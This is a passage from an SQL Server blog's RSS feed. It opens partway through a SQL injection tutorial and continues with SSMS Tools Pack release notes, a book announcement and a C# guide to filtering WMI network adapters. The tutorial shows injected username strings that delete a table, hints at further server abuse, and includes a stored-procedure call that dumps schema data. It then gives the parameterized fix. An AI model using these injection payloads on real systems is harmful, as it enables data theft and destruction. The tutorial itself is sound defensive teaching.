0, 0; --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// delete the table to get clean output (this step is optional)&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"'; DELETE ShellHack; --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// repeat the upper 3 statements to do other nasty stuff to the windows server&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// To avoid this chunk up the returned XML using paging techniques.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem" /&gt;&lt;/pre&gt;
&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;// the username and password params come from the GUI textboxes.&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;bool&lt;/span&gt; userExists = DoesUserExist(username, password );&lt;br /&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;/* &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;The fixed C# method that doesn't suffer from SQL injection &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;because it uses parameters.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; DoesUserExist(&lt;span class="kwrd"&gt;string&lt;/span&gt; username, &lt;span class="kwrd"&gt;string&lt;/span&gt; password)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;using&lt;/span&gt; (SqlConnection conn = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlConnection(&lt;span class="str"&gt;@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"&lt;/span&gt;))&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="rem"&gt;//This is the version of the SQL string that should be safe from SQL injection        &lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;string&lt;/span&gt; sql = &lt;span class="str"&gt;"SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"&lt;/span&gt;;&lt;br /&gt;        SqlCommand cmd = conn.CreateCommand();&lt;br /&gt;        cmd.CommandText = sql;&lt;br /&gt;        cmd.CommandType = CommandType.Text;&lt;br /&gt;        &lt;br /&gt;        &lt;span class="rem"&gt;// adding 2 SQL Parameters solves the SQL injection issue completely&lt;/span&gt;&lt;br /&gt;        SqlParameter usernameParameter = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlParameter();&lt;br /&gt;        usernameParameter.ParameterName = &lt;span class="str"&gt;"@username"&lt;/span&gt;;&lt;br /&gt;        usernameParameter.DbType = DbType.String;&lt;br /&gt;        usernameParameter.Value = username;&lt;br /&gt;        cmd.Parameters.Add(usernameParameter);&lt;br /&gt;        &lt;br /&gt;        SqlParameter passwordParameter = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlParameter();&lt;br /&gt;        passwordParameter.ParameterName = &lt;span class="str"&gt;"@password"&lt;/span&gt;;&lt;br /&gt;        passwordParameter.DbType = DbType.String;&lt;br /&gt;        passwordParameter.Value = password;&lt;br /&gt;        cmd.Parameters.Add(passwordParameter);&lt;br /&gt;        &lt;br /&gt;        cmd.Connection.Open();&lt;br /&gt;        DataSet dsResult = &lt;span class="kwrd"&gt;new&lt;/span&gt; DataSet();&lt;br /&gt;        &lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        If a user doesn't exist the cmd.ExecuteScalar() &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        returns null; this is just to simplify the &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        example; you can use other Execute methods too&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        */&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;string&lt;/span&gt; userExists = (cmd.ExecuteScalar() ?? &lt;span class="str"&gt;"0"&lt;/span&gt;).ToString();&lt;br /&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; userExists == &lt;span class="str"&gt;"1"&lt;/span&gt;;&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.&lt;/p&gt;
&lt;p&gt;Your business is only as valuable as your data. If you lose your data, you lose your business. Period.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Incorrect parameterization in stored procedures&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.&lt;/p&gt;
&lt;p&gt;This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Create a single master access stored procedure&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;PROCEDURE&lt;/span&gt; spSingleAccessSproc&lt;br /&gt;(&lt;br /&gt;    @&lt;span class="kwrd"&gt;select&lt;/span&gt; NVARCHAR(500) = &lt;span class="str"&gt;''&lt;/span&gt; ,&lt;br /&gt;    @tableName NVARCHAR(500) = &lt;span class="str"&gt;''&lt;/span&gt; ,&lt;br /&gt;    @&lt;span class="kwrd"&gt;where&lt;/span&gt; NVARCHAR(500) = &lt;span class="str"&gt;'1=1'&lt;/span&gt; ,&lt;br /&gt;    @orderBy NVARCHAR(500) = &lt;span class="str"&gt;'1'&lt;/span&gt;&lt;br /&gt;)&lt;br /&gt;&lt;span class="kwrd"&gt;AS&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;EXEC&lt;/span&gt;(&lt;span class="str"&gt;'SELECT '&lt;/span&gt; + @&lt;span class="kwrd"&gt;select&lt;/span&gt; +&lt;br /&gt;     &lt;span class="str"&gt;' FROM '&lt;/span&gt; + @tableName +&lt;br /&gt;     &lt;span class="str"&gt;' WHERE '&lt;/span&gt; + @&lt;span class="kwrd"&gt;where&lt;/span&gt; +&lt;br /&gt;     &lt;span class="str"&gt;' ORDER BY '&lt;/span&gt; + @orderBy)&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Valid use as anticipated by a novice developer&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;EXEC&lt;/span&gt; spSingleAccessSproc @&lt;span class="kwrd"&gt;select&lt;/span&gt; = &lt;span class="str"&gt;'*'&lt;/span&gt;, &lt;br /&gt;                         @tableName = &lt;span class="str"&gt;'Users'&lt;/span&gt;, &lt;br /&gt;                         @&lt;span class="kwrd"&gt;where&lt;/span&gt; = &lt;span class="str"&gt;'UserName = '&lt;/span&gt;&lt;span class="str"&gt;'User 1'&lt;/span&gt;&lt;span class="str"&gt;' AND UserPassword = '&lt;/span&gt;&lt;span class="str"&gt;'MyPwd'&lt;/span&gt;&lt;span class="str"&gt;''&lt;/span&gt;, &lt;br /&gt;                         @orderBy = &lt;span class="str"&gt;'UserID'&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Malicious use SQL injection&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;The SQL injection principles are the same as&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;with SQL string concatenation I described earlier,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;so I won't repeat them again here.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;EXEC&lt;/span&gt; spSingleAccessSproc @&lt;span class="kwrd"&gt;select&lt;/span&gt; = &lt;span class="str"&gt;'* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --'&lt;/span&gt;,&lt;br /&gt;                         @tableName = &lt;span class="str"&gt;'--Users'&lt;/span&gt;,&lt;br /&gt;                         @&lt;span class="kwrd"&gt;where&lt;/span&gt; = &lt;span class="str"&gt;'--UserName = '&lt;/span&gt;&lt;span class="str"&gt;'User 1'&lt;/span&gt;&lt;span class="str"&gt;' AND UserPassword = '&lt;/span&gt;&lt;span class="str"&gt;'MyPwd'&lt;/span&gt;&lt;span class="str"&gt;''&lt;/span&gt;,&lt;br /&gt;                         @orderBy = &lt;span class="str"&gt;'--UserID'&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. &lt;/p&gt;
&lt;p&gt;Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth. &lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61270.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/02/16/sql-server-sql-injection-from-start-to-end.aspx</guid>
            <pubDate>Wed, 16 Feb 2011 06:00:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/02/16/sql-server-sql-injection-from-start-to-end.aspx#feedback</comments>
            <slash:comments>2</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61270.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61270.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/02/16/sql-server-sql-injection-from-start-to-end.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 1.9.4 is out! Now with SQL Server 2011 (Denali) CTP1 support.</title>
            <category>SSMS Tools Pack</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/yQNXzclz5SY/ssms-tools-pack-1-9-4-is-out-now-with.aspx</link>
            <description>&lt;p&gt;To end the year on a good note this release adds support for SQL Server 2011 (Denali) CTP1 and fixes a few bugs.&lt;/p&gt;
&lt;p&gt;Because of the new SSMS shell in SQL 2011 CTP1 the SSMS Tools Pack 1.9.4 doesn't have regions and debug sections functionality for now.&lt;/p&gt;
&lt;p&gt;The fixed bugs are: &lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;A bug that prevented to create insert statements for a database &lt;/li&gt;
    &lt;li&gt;A bug that didn't script commas as decimal points correctly for non US settings. &lt;/li&gt;
    &lt;li&gt;A bug with searching through grid results. &lt;/li&gt;
    &lt;li&gt;A threading bug that sometimes happened when saving Window Content History. &lt;/li&gt;
    &lt;li&gt;A bug with Window Connection Coloring throwing an error on startup if a server colors was undefined. &lt;/li&gt;
    &lt;li&gt;A bug with changing shortcuts in SSMS for various features. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;You can download the new version 1.9.4 &lt;a href="http://www.ssmstoolspack.com/Download"&gt;here&lt;/a&gt;. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Enjoy it!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61252.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2010/12/28/ssms-tools-pack-1-9-4-is-out-now-with.aspx</guid>
            <pubDate>Tue, 28 Dec 2010 08:00:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2010/12/28/ssms-tools-pack-1-9-4-is-out-now-with.aspx#feedback</comments>
            <slash:comments>1</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61252.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61252.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2010/12/28/ssms-tools-pack-1-9-4-is-out-now-with.aspx</feedburner:origLink></item>
        <item>
            <title>The Red Gate Guide to SQL Server Team based Development Free e-book</title>
            <category>Reviews</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/VQLSpnUOvJA/the-red-gate-guide-to-sql-server-team-based-development.aspx</link>
            <description>&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/New-book---The-Red-Gate-Guide-to-SQL-Ser_6ED/RG_Book_Cover_2.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px 10px 0px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top: 0px; border-right: 0px; padding-top: 0px" title="RG_Book_Cover" border="0" alt="RG_Book_Cover" align="left" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/New-book---The-Red-Gate-Guide-to-SQL-Ser_6ED/RG_Book_Cover_thumb.jpg" width="241" height="300" /&gt;&lt;/a&gt;After about 6 months of work, the new book I've coauthored with Grant Fritchey (&lt;a href="http://scarydba.com/"&gt;&lt;strong&gt;Blog&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/gfritchey"&gt;&lt;strong&gt;Twitter&lt;/strong&gt;&lt;/a&gt;), Phil Factor (&lt;a href="http://www.simple-talk.com/community/blogs/philfactor/default.aspx"&gt;&lt;strong&gt;Blog&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/phil_factor"&gt;&lt;strong&gt;Twitter&lt;/strong&gt;&lt;/a&gt;) and Alex Kuznetsov (&lt;a href="http://sqlblog.com/blogs/alexander_kuznetsov/"&gt;&lt;strong&gt;Blog&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/AlexK_v"&gt;&lt;strong&gt;Twitter&lt;/strong&gt;&lt;/a&gt;) is out. They're all smart folks I talk to online and this book is packed with good ideas backed by years of experience. &lt;/p&gt;  &lt;p&gt;The book contains a good deal of information about things you need to think of when doing any kind of multi person database development. Although it's meant for SQL Server, the principles can be applied to any database platform out there. In the book you will find information on: writing readable code, documenting code, source control and change management, deploying code between environments, unit testing, reusing code, searching and refactoring your code base. I've written chapter 5 about Database testing and chapter 11 about SQL Refactoring. &lt;/p&gt;  &lt;p&gt;In the database testing chapter (chapter 5) I cover why you should test your database, why it is a good idea to have a database access interface composed of stored procedures, views and user defined functions, what and how to test. I talk about how there are many testing methods like black and white box testing, unit and integration testing, error and stress testing and why and how you should do all those. Sometimes you have to convince management to go for testing in the development lifecycle so I give some pointers and tips how to do that. Testing databases is a bit different from testing object oriented code in a way that to have independent unit tests you need to rollback your code after each test. The chapter shows you ways to do this and also how to avoid it. At the end I show how to test various database objects and how to test access to them.&lt;/p&gt;  &lt;p&gt;In the SQL Refactoring chapter (chapter 11) I cover why refactor and where to even begin refactoring. I also who you a way to achieve a set based mindset to solve SQL problems which is crucial to good SQL set based programming and a few commonly seen problems to refactor. These problems include: using functions on columns in the where clause, SELECT * problems, long stored procedure with many input parameters, one subquery per condition in the select statement, cursors are good for anything problem, using too large data types everywhere and using your data in code for business logic anti-pattern.&lt;/p&gt;  &lt;p&gt;You can read more about it and download it here: &lt;a href="http://www.simple-talk.com/books/sql-books/the-red-gate-guide-to-sql-server-team-based-development/"&gt;&lt;strong&gt;The Red Gate Guide to SQL Server Team-based Development&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Hope you like it and send me feedback if you wish too.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61238.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2010/11/23/the-red-gate-guide-to-sql-server-team-based-development.aspx</guid>
            <pubDate>Tue, 23 Nov 2010 07:00:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2010/11/23/the-red-gate-guide-to-sql-server-team-based-development.aspx#feedback</comments>
            <slash:comments>3</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61238.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61238.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2010/11/23/the-red-gate-guide-to-sql-server-team-based-development.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 1.9.3 is out!</title>
            <category>SSMS Tools Pack</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/om-Ik817K3A/ssms-tools-pack-1-9-3-is-out.aspx</link>
            <description>&lt;p&gt;This release adds a great new feature and fixes a few bugs.&lt;/p&gt;
&lt;p&gt;The new feature called &lt;strong&gt;&lt;a href="http://www.ssmstoolspack.com/Features?f=2"&gt;Window Content History&lt;/a&gt;&lt;/strong&gt; saves the whole text in all all opened SQL windows every N minutes with the default being 30 minutes. This feature fixes the shortcoming of the Query Execution History which is saved only when the query is run. If you're working on a large script and never execute it, the existing Query Execution History wouldn't save it. By contrast the Window Content History saves everything in a .sql file so you can even open it in your SSMS. The Query Execution History and Window Content History files are correlated by the same directory and file name so when you search through the Query Execution History you get to see the whole saved Window Content History for that query. Because Window Content History saves data in simple searchable .sql files there isn't a special search editor built in. It is turned &lt;strong&gt;ON by default&lt;/strong&gt; but despite the built in optimizations for space minimization, be careful to not let it fill your disk. You can see how it looks in the pictures in the &lt;a href="http://www.ssmstoolspack.com/Features?f=2"&gt;feature list&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;The fixed bugs are: &lt;/p&gt;
&lt;ul id="features"&gt;
    &lt;li&gt;SSMS 2008 R2 slowness reported by few people. &lt;/li&gt;
    &lt;li&gt;An object explorer context menu bug where it showed multiple SSMS Tools entries and showed wrong entries for a node. &lt;/li&gt;
    &lt;li&gt;A datagrid bug in SQL snippets. &lt;/li&gt;
    &lt;li&gt;Ability to read illegal XML characters from log files. &lt;/li&gt;
    &lt;li&gt;Fixed the upper limit bug of a saved history text to 5 MB. &lt;/li&gt;
    &lt;li&gt;A bug when searching through result sets prevents search. &lt;/li&gt;
    &lt;li&gt;A bug with Text formatting erroring out for certain scripts. &lt;/li&gt;
    &lt;li&gt;A bug with finding servers where it would return null even though servers existed. &lt;/li&gt;
    &lt;li&gt;Run custom scripts objects had a bug where |SchemaName| didn't display the correct table schema for columns. This is fixed. Also |NodeName| and |ObjectName| values now show the same thing. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You can download the new version 1.9.3 &lt;a href="http://www.ssmstoolspack.com/Download"&gt;here&lt;/a&gt;. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Enjoy it!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61233.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2010/11/09/ssms-tools-pack-1-9-3-is-out.aspx</guid>
            <pubDate>Tue, 09 Nov 2010 07:00:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2010/11/09/ssms-tools-pack-1-9-3-is-out.aspx#feedback</comments>
            <slash:comments>1</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61233.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61233.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2010/11/09/ssms-tools-pack-1-9-3-is-out.aspx</feedburner:origLink></item>
        <item>
            <title>Find only physical network adapters with WMI Win32_NetworkAdapter class</title>
            <category>.Net</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/WC1QydfD7_c/find-only-physical-network-adapters-with-wmi-win32_networkadapter-class.aspx</link>
            <description>&lt;p&gt;WMI is &lt;a href="http://msdn.microsoft.com/en-us/library/aa394582(VS.85).aspx"&gt;&lt;strong&gt;Windows Management Instrumentation&lt;/strong&gt;&lt;/a&gt; infrastructure for managing data and machines. We can access it by using &lt;a href="http://msdn.microsoft.com/en-us/library/aa394606(VS.85).aspx"&gt;&lt;strong&gt;WQL&lt;/strong&gt;&lt;/a&gt; (WMI querying language or SQL for WMI). One thing to remember from the WQL link is that it doesn't support ORDER BY. This means that when you do SELECT * FROM wmiObject, the returned order of the objects is &lt;strong&gt;not &lt;/strong&gt;guaranteed. It can return adapters in different order based on logged-in user, permissions of that user, etc… This is not documented anywhere that I've looked and is derived just from my observations.&lt;/p&gt;
&lt;p&gt;To get network adapters we have to query the &lt;a href="http://msdn.microsoft.com/en-us/library/aa394216(VS.85).aspx"&gt;&lt;strong&gt;Win32_NetworkAdapter&lt;/strong&gt;&lt;/a&gt; class. This returns us all network adapters that windows detect, real and virtual ones, however it only supplies IPv4 data. I've tried various methods of combining properties that are common on all systems since Windows XP. &lt;/p&gt;
&lt;p&gt;The first thing to do to remove all virtual adapters (like tunneling, WAN miniports, etc…) created by Microsoft. We do this by adding WHERE Manufacturer!='Microsoft' to our WMI query. This greatly narrows the number of adapters we have to work with. Just on my machine it went from 20 adapters to 5. What was left were one real physical Realtek LAN adapter, 2 virtual adapters installed by VMware and 2 virtual adapters installed by VirtualBox.&lt;/p&gt;
&lt;p&gt;If you read the &lt;a href="http://msdn.microsoft.com/en-us/library/aa394216(VS.85).aspx"&gt;&lt;strong&gt;Win32_NetworkAdapter&lt;/strong&gt;&lt;/a&gt; help page you'd notice that there's an AdapterType that enumerates various adapter types like LAN or Wireless and AdapterTypeID that gives you the same information as AdapterType only in integer form. The dirty little secret is that these 2 properties don't work. They are both hardcoded, AdapterTypeID to "0" and AdapterType to "Ethernet 802.3". The only exceptions I've seen so far are adapters that have no values at all for the two properties, "RAS Async Adapter" that has values of AdapterType = "Wide Area Network" and AdapterTypeID = "3" and various tunneling adapters that have values of AdapterType = "Tunnel" and AdapterTypeID = "15". In the help docs there isn't even a value for 15. So this property was of no help.&lt;/p&gt;
&lt;p&gt;Next property to give hope is NetConnectionId. This is the name of the network connection as it appears in the Control Panel -&amp;gt; Network Connections. Problem is this value is also localized into various languages and can have different names for different connection. So both of these properties don't help and we haven't even started talking about eliminating virtual adapters. Same as the previous one this property was also of no help.&lt;/p&gt;
&lt;p&gt;Next two properties I checked were ConfigManagerErrorCode and NetConnectionStatus in hopes of finding disabled and disconnected adapters. If an adapter is enabled but disconnected the ConfigManagerErrorCode = 0 with different NetConnectionStatus. If the adapter is disabled it reports ConfigManagerErrorCode = 22. This looked like a win by using (ConfigManagerErrorCode=0 or ConfigManagerErrorCode=22) in our condition. This way we get enabled (connected and disconnected adapters). &lt;/p&gt;
&lt;p&gt;Problem with all &lt;strong&gt;of the above properties is that none of them filter out the virtual adapters installed by virtualization software like VMware and VirtualBox&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The last property to give hope is PNPDeviceID. There's an interesting observation about physical and virtual adapters with this property. &lt;strong&gt;Every virtual adapter PNPDeviceID starts with "ROOT\".&lt;/strong&gt; Even VMware and VirtualBox ones. There were some really, really old physical adapters that had PNPDeviceID starting with "ROOT\" but those were in pre win XP era AFAIK. Since my minimum system to check was Windows XP SP2 I didn't have to worry about those.&lt;/p&gt;
&lt;p&gt;The only virtual adapter I've seen to not have PNPDeviceID start with "ROOT\" is the RAS Async Adapter for Wide Area Network. But because it is made by Microsoft we've eliminated it with the first condition for the manufacturer. Using the PNPDeviceID has so far proven to be really effective and I've tested it on over 20 different computers of various configurations from Windows XP laptops with wireless and bluetooth cards to virtualized Windows 2008 R2 servers. So far it always worked as expected. I will appreciate you letting me know if you find a configuration where it doesn't work.&lt;/p&gt;
&lt;p&gt;Let's see some C# code how to do this:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;pre id="codeSnippet" class="csharpcode"&gt;ManagementObjectSearcher mos = &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// WHERE Manufacturer!='Microsoft' removes all of the &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Microsoft provided virtual adapters like tunneling, miniports, and Wide Area Network adapters.&lt;/span&gt;&lt;br /&gt;mos = &lt;span class="kwrd"&gt;new&lt;/span&gt; ManagementObjectSearcher(&lt;span class="str"&gt;@"SELECT * &lt;br /&gt;                                     FROM   Win32_NetworkAdapter &lt;br /&gt;                                     WHERE  Manufacturer != 'Microsoft'"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Trying the ConfigManagerErrorCode and NetConnectionStatus variations &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// proved to still not be enough and it returns adapters installed by &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// the virtualization software like VMWare and VirtualBox&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// ConfigManagerErrorCode = 0 -&amp;gt; Device is working properly. This covers enabled and/or disconnected devices&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0 -&amp;gt; Device is disabled and Disconnected. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Some virtual devices report ConfigManagerErrorCode = 22 (disabled) and some other NetConnectionStatus than 0&lt;/span&gt;&lt;br /&gt;mos = &lt;span class="kwrd"&gt;new&lt;/span&gt; ManagementObjectSearcher(&lt;span class="str"&gt;@"SELECT * &lt;br /&gt;                                     FROM   Win32_NetworkAdapter &lt;br /&gt;                                     WHERE  Manufacturer != 'Microsoft' &lt;br /&gt;                                            AND (ConfigManagerErrorCode = 0 &lt;br /&gt;                                                    OR (ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0))"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;//&lt;strong&gt; Final solution&lt;/strong&gt; with filtering on the Manufacturer and PNPDeviceID not starting with "ROOT\"&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Physical devices have PNPDeviceID starting with "PCI\" or something else besides "ROOT\"&lt;/span&gt;&lt;br /&gt;mos = &lt;span class="kwrd"&gt;new&lt;/span&gt; ManagementObjectSearcher(&lt;span class="str"&gt;@"SELECT * &lt;br /&gt;                                     FROM   Win32_NetworkAdapter &lt;br /&gt;                                     WHERE  Manufacturer != 'Microsoft' &lt;br /&gt;                                            AND NOT PNPDeviceID LIKE 'ROOT\\%'"&lt;/span&gt;);&lt;br /&gt;&lt;span class="rem"&gt;// Get the physical adapters and sort them by their index. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// This is needed because they're not sorted by default&lt;/span&gt;&lt;br /&gt;IList&amp;lt;ManagementObject&amp;gt; managementObjectList = mos.Get()&lt;br /&gt;                                                  .Cast&amp;lt;ManagementObject&amp;gt;()&lt;br /&gt;                                                  .OrderBy(p =&amp;gt; Convert.ToUInt32(p.Properties[&lt;span class="str"&gt;"Index"&lt;/span&gt;].Value))&lt;br /&gt;                                                  .ToList();&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Let's just show all the properties for all physical adapters.&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;foreach&lt;/span&gt; (ManagementObject mo &lt;span class="kwrd"&gt;in&lt;/span&gt; managementObjectList)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (PropertyData pd &lt;span class="kwrd"&gt;in&lt;/span&gt; mo.Properties)&lt;br /&gt;        Console.WriteLine(pd.Name + &lt;span class="str"&gt;": "&lt;/span&gt; + (pd.Value ?? &lt;span class="str"&gt;"N/A"&lt;/span&gt;));&lt;br /&gt;}&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;That's it. Hope this helps you in some way.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61229.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2010/11/04/find-only-physical-network-adapters-with-wmi-win32_networkadapter-class.aspx</guid>
            <pubDate>Thu, 04 Nov 2010 07:00:00 GMT</pubDate>
